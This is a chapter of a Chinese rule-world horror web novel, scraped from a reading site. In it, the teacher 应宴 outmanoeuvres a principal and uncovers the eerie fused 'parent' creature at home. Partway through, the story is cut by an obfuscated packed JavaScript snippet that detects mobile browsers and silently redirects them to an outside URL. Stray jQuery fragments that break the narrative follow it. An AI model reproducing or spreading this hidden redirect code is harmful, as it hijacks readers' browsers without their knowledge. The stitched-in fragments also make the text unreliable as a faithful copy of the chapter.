默认冷灰
24号文字
方正启体

138. 平仄世界(7)

作者:蓝莓可乐本书字数:K更新时间:
    在平仄世界里,一份稳定工作具有无与伦比的重要性。失业人员会被认为是比臭虫蟑螂还讨厌的生物。


    就算再溺爱孩子的家庭,也不会允许孩子在家无所事事超过一周。


    老师这个职业备受推崇,稳定体面。可一旦被辞退,就会被冠上道德败坏的罪名,人生从此笼罩在地狱的阴影中。


    为了保住工作,学校里的老师那是一个对校长恭恭敬敬,言听必从,不敢有丝毫违背!


    被捧得飘飘然的校长自骄自傲到了极点,任何不顺他意的人或物品,都会想方设法铲除掉。


    直到今天,他踢到铁板上,还是遍布钢刺的那种。


    校长现在的心态,像揣了个烫手山芋,扔也不是,不扔也不是。


    他开始是想直接将人开除。


    但看了诡异论坛后,他担心自己被反向开除。


    可恶啊,打不过就是这么束手束脚!


    校长黑瘦脸庞挤出一个谄媚的笑容,从凳子上跳下来,身高顿时去了一小半。


    这个时候也顾不得了,他亲自搬来一把椅子,放在对面,说道:“星老师,您请坐!”


    伸手不打笑脸诡,应宴伸进口袋的手拿出,不动声色坐在座位上,视线正好与校长持平。


    “校长,请问你找我有什么事?”


    校长噔噔噔走回去,跳到板凳上,方找回几分安全感。


    他试探问道:“星老师在学校里还适应吗?高中生活节奏紧张,要不我举荐您到大学去就任?”


    死道友不死贫道,不管是不是祸水东引,将祸害送走就万事大吉!


    再说,大学层次的领导们,顶个顶的厉害难缠,正好也能帮他报仇。


    校长算盘打得噼啪响,奈何应宴不上套。


    在她眼里,从一所学校跳槽到另一所学校,本质还是在老师这个职业打转,不方便寻找污染源。


    “雪柏高中很好,我没有换校的打算。”


    校长第一次面对夸奖时虚荣心没有得到满足,反而想呜呜大哭,连客道话都没有说。


    不好的!不好的!您老去祸害别的学校不香吗?!


    面对校长藏不住想要刀人的眼神,应宴泰然自若。


    一时之间,办公室陷入到窒息的安静中。


    就看谁先忍不住。


    很快,穿鞋的校长心态率先崩溃。


    不行!绝对不行!


    祸害再留下来,学校肯定会易主的!


    校长想想自己在对方手下苟延残喘,马首是鞍,就浑身刺挠得要命。


    他焦虑地开始揪头顶所剩无几的头发,过了一会儿,总算想出个解决办法来。


    大多数人表现得铁石心肠,无法打动,多是因为利益不够。


    只要他给出足够的利益,肯定能送走祸害!


    校长一咬牙,一跺脚,总算下定大出血的决心,违心道:“星老师您这样的人才,待在我这个小小的高中学校太埋汰了!”


    “这样吧,我这里有个举荐名额,可以让您获得参加平仄使考核的机会。”


    听到“平仄使”三个字,应宴总算给了点情绪波动。


    日记本里有提及过,这个平仄世界的本土职业,拥有比老师还要崇高的地位。


    校长一看有戏,再接再厉道:“我这里还有前辈整理的考核经验,保证您能考上。”


    “就算考不上,雪柏高中的大门,也始终为您敞开。”


    这番诚意满满的话摞下,就没有人能抵抗住。


    应宴也有些心动。


    她已经确定污染源不在这里,想要换地图玩玩。


    正好校长将机会递过来,就顺势答应。


    平仄使考核的举荐名额十分珍贵,手续很是繁琐。


    校长抱着快把祸害送走的心理,简化简化再简化,也得等到明天。


    所以,应宴在办公室简单收拾一二,刚要回家,就听到同事在和家里人打电话。


    “好了好了,我都说了,现在忙工作,不考虑结婚的事情!”


    “再说我才多大,你们不要着急嘛!”


    对面不知说了什么,同事烦躁地道:“这话你来来回回都说多少遍了。”


    她语气带着不耐烦,随口道:“你心碎掉了,和我有什么关系!”


    紧接着,电话挂断。


    应宴往那个同事脸上瞥了一眼,将收拾好的物品装进塑料袋里,出了学校,朝着所在的小区走。


    在跨进家门口时,她脸上的淡定从容消失,肩膀往下塌陷,连背影都透着失魂落魄的沮丧。


    “母亲,我辞职了。”


    简短的话,有时震撼效果,不比曲折狗血的故事差很多。


    这重磅消息一出,就把厨房里的平仄怪人炸了出来。


    帽子被暴躁扔在地上,圆柱身躯上的柔美面庞变得狰狞,悦耳嗓音多了熊熊燃烧的愤怒。


    它站在客厅里,两条瘦胳膊按住脑袋,用力一掰——


    随着嘎吱嘎吱的响声,脑后的另一张脸浮现,是惨白阳刚的男性面孔,低沉声调从喉咙里发出:


    “你让我很失望!从各个方面来说!按照惯例,家里出了个愚蠢软弱的孩子,就应该扔进垃圾桶!”


    “但我们没有,还给了你很多机会,想出各种方式纠正你身上的坏毛病!可你呢?就拿一张辞职信回报我们吗?”


    家庭中的父亲出现了,伴随着责骂和暴躁。


    他举起客厅的金属椅子,在柔和灯光下,那双眼睛里没有任何温情,像统一塑形制作的雕塑。


    “垃圾,去死吧!”


    应宴早有防备,迅速后撤几步,恰好躲过迎面砸下来的椅子。


    她慢悠悠补上后面的话:“但校长很赏识我,将参加平仄使选拔的机会给了我,你可以打电话去核实。”


    闻言,平仄怪人僵在原地,脖子扭来扭去,一会儿是温婉母亲,一会儿是威严父亲,有一种怪异的割裂感。


    最终,惨白冷凝的面孔挤出个温柔笑容:“好!好!好!宝贝总算争气一回,这段时间好好休息。”


    仿佛刚刚的怒骂和暴打并不存在。


    应宴答应下来,从进家门就一直盯着平仄怪人的视线收回,那股说不出的怪异感愈发强烈。


    之前在家里吃早饭的时候,她只在餐桌看到“母亲”,却没有找到“父亲”的身影。


    可卧室那张全家福,上面分明是三个人。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984789|169748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日记里也没有提及亲人离世的事件。


    应宴试图解开其中的谜团,故意将话只说一半。


    母亲在气怒下,很有可能会打电话给父亲告状。


    如此一来,就能确定家里另一个存在,还可以顺藤摸瓜找到人。


    但试探的结果出人意料。


    母亲后脑勺贴着张脸,终日戴着“父亲”忙忙碌碌。


    怪不得日记从来没有单独提到过母亲或父亲。


    一般而言,父母指的是两个人。


    而这里的“父”和“母”融合成一个紧密的整体。


    平时母亲做饭洗衣,照顾家里,而当孩子犯错,父亲就会出现,予以惩罚。


    应宴越想越觉得奇怪。


    平仄世界里,在重重规则的压迫下,每个诡怪的个性仍然很鲜明。


    比如记仇熊孩子星星,热衷集邮七彩男友同事,胆小怕事狡诈校长,还有在沉默中变态的原主……


    而“父母”不同,似乎两个原本独立的个体通通消失,只剩下集体的统一意志。


    在她思考的时间里,母亲拎起刚刚砸扁的椅子,扔到角落里,然后细致收拾客厅,将一道道色香味俱全的菜肴摆上餐桌。


    做完后,她的声线比最开始至少柔和八个度,哄小孩道:“宝贝,吃饭了。”


    “宝贝”和“垃圾”的待遇,差的可不是一星半点。


    应宴走过去时,平仄怪人体贴拉开椅子,毫无不久前将椅子往死里抡的凶狠。


    晚饭时候,对方还东拉西扯,殷殷关切孩子在学校的情况。


    迟来的母爱细品分外诡异,应宴随意吃了几口,就借口胃口不好,回到卧室里。


    这次她刚进去就打开灯,平仄怪人幽幽贴在门口处,却什么都没说。


    房间里只剩下两个地方没有仔细检查。一个是床底,另一个是被星星状的蓝色墙纸糊住的四面墙。


    已知原主的怨灵“冰手”是从床底往外爬的。


    应宴看向墙面,直接将所有墙纸揭下来,密密麻麻的鲜红小字涌入眼帘:


    要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话要听话……


    不断重复的“要听话”在日记本上出现过一次,只不过没有那么密集。


    信息重复了?还是说,这就是“家”的核心规则?


    应宴迅速回忆一遍来这里发生的事情,感觉后一种的可能性更大。


    既然熟知规则,那原主是怎么死的?


    就在这时,门口处传来一道轻柔声音。


    “对了,有件事刚刚忘记说了,后天是你表姐结婚的日子,你感兴趣的话,可以去看看。”


    “结婚是个大日子,每个人都要结婚的。”


    “结婚”这个关键词,让应宴脑海里掠过日记最后的两句话:


    【父母说,我该嫁人了。】


    【我说“好的”。】


    一丝毛骨悚然的寒意,顺着脊背,钻入心脏,冻得呼吸都艰涩起来,胃酸隐隐向上翻涌。


    应宴上次有这种感觉,还是眼睁睁看着队友被诡怪分食惨死的那一幕。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)